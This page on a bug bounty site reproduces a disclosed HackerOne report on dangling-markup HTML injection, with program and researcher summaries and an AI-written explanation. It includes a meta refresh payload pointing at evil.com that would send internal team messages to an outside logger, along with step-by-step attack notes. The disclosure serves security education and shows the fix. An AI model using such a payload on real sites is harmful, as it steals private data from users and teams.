Skip to content
XSS Disclosed report Intermediate

HTML injection can lead to data theft

Markdown output was not properly escaped before being inserted into the DOM via dangerouslySetInnerHTML, and single quotes were not converted to HTML entities. An attacker could use an HTML injection to encapsulate sensitive data (such as internal team messages) in an attribute value and exfiltrate it to a remote server via a meta refresh or anchor tag.

intidc Follow

Originally disclosed on HackerOne

Bounty$500 View original
  • Triaged in 22 hours
  • Fixed in 12 days
  • Paid in 12 days
  • Disclosed after 13 days

Summary by the program

There was a legitimate issue in our app where Markdown was not being escaped properly, but it was not immediately exploitable since it relies on the existence of an injection vulnerability (which can theoretically be introduced in the future). The issue was a real issue that we did not know existed, verified through an investigation and finally patched up.

We rely on our implementation of Redcarpet to escape the HTML output of any Markdown input, and this output is passed directly into our DOM via dangerouslySetInnerHTML in our React component. Because it turns out that we weren't properly escaping this HTML output, this could potentially be exploited.

All other non-Markdown user-generated content is displayed via React without using dangerouslySetInnerHTML, so it is auto-escaped by React and thus not vulnerable to an exploit.

Summary by the researcher

Navigation is something a content security policy can't cover. In some cases, HTML markup, including CSRF tokens, can be encapsulated in an attribute value, as is the case with the url attribute of the meta redirect element, or the href attribute of an anchor tag. This makes it possible for an attacker to send the encapsulated HTML, sometimes containing sensitive information and tokens, as a GET parameter to a remove server. In order to mitigate the risk you can convert your single quotes to their HTML equivalent ', as both single and double quotes can be used to enclose an attribute value.

The report

Hey,

This is more like an in-depth security thing with a reasonable attack scenario.

In some occasions, it seems to be possible to leak sensitive data to an external server, not affected by the CSP. This can happen in the following situation:

  1. There's a HTML injection vulnerability
  2. The sensitive data is preceded by the HTML injection vulnerability
  3. After the sensitive data, there's a single quote (could be inserted by the attacker)

Due to these requirements I haven't been able to test it, though I did found some places where it theoretically could work.

The problem is that HackerOne does not convert single quotes to their HTML entities (‘), not in their own texts, nor in user-supplied fields (like report title, body, ...). This will make browser interpret the data between the quote and the HTML injection an attribute in some cases. Using anchor tags or meta redirects, we can capture this data using a logger stored at a remote server.

Example

Say someone has found a way to inject HTML into a comment, summary or report, he could read the internal team messages. Here's a quick sketch of a report to illustrate this:

[report title] > reporter: report body < vendor: reply < vendor: internal reply > reporter: comment (that contains a single quote)

At this point, if the reporter would add the following to the summary (above the report body):

<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

This will send the following to the server:

report body + vendor reply + internal reply

Because the unconverted ' in the last comment would close the attribute and form a valid HTML element. You could also do this with an anchor tag an its href attribute, but this would require more user interaction as the target would also have to click on the malicious link.

Another vulnerable layout would be for example the list of reports: if an attacker would be able to get HTML injection in the title, he could easily steal other reports titles using this technique.

The fix

The behavior described above can easily be prevented.:

I'd just add the conversion to &lsquot to your sanitization filter. I can't think of any legit case where this would cause troubles. Also, it can be a good practice to convert single quotes to their HTML entities in HackerOne provided texts as well.

Best regards

Inti

The original report as published on HackerOne, by intidc. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Markdown-to-HTML conversion did not escape single quotes or other HTML special characters before the output was inserted into the DOM with dangerouslySetInnerHTML.

Impact

An attacker could potentially steal sensitive information such as internal team messages or other reports' titles, though the report notes this was not tested and depends on an existing HTML injection vulnerability.

What the attacker needed

An HTML injection vulnerability; sensitive data after the injection; a single quote after the data

The fix

The Markdown escaping issue was patched; converting single quotes to HTML entities was recommended for the sanitiser and HackerOne texts.

How it was found

  1. Find an HTML injection vulnerability in a user-generated field such as a comment, summary, or report.
  2. Ensure sensitive data follows the injection point and that a single quote appears after that data.
  3. Inject a meta refresh tag with a URL attribute that starts capturing the following content.
  4. The browser treats the data between the quote and the injection as part of the attribute and sends it to the attacker's server.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website shows user-written content, it must escape special characters so the browser treats them as text, not code. Here, the site failed to escape some characters, so an attacker who could inject HTML could trick the browser into sending private information to their own server. The report notes this was not immediately exploitable because it required an existing HTML injection flaw.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by intidc

View all

5 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.